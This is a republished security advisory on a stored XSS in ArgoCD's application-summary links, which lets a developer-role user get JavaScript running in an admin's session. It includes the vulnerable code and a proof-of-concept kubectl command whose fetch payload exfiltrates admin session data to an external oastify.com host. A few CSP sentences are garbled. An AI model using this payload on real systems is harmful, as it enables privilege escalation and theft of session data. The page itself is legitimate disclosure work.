Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-45738 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.
Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277
const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
{parts[0]}
</a>
The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).
Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.
CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no , no , no — providing .
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
script-srcconnect-srcdefault-srcPrerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).
Step 1 — Set malicious annotation as developer:
kubectl annotate application <app-name> -n argocd \
'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.
Step 2 — Admin opens Summary tab of the annotated application and clicks the link.
Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:
// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
.then(r => r.json())
.then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))
Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:
{"iss":"argocd","loggedIn":true,"username":"admin"}
Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.
javascript: href is never visible to the victimno-cors fetch, bypassed by absent connect-src CSP)Discovered and reported by Jan Kahmen ([email protected]) — turingpoint.de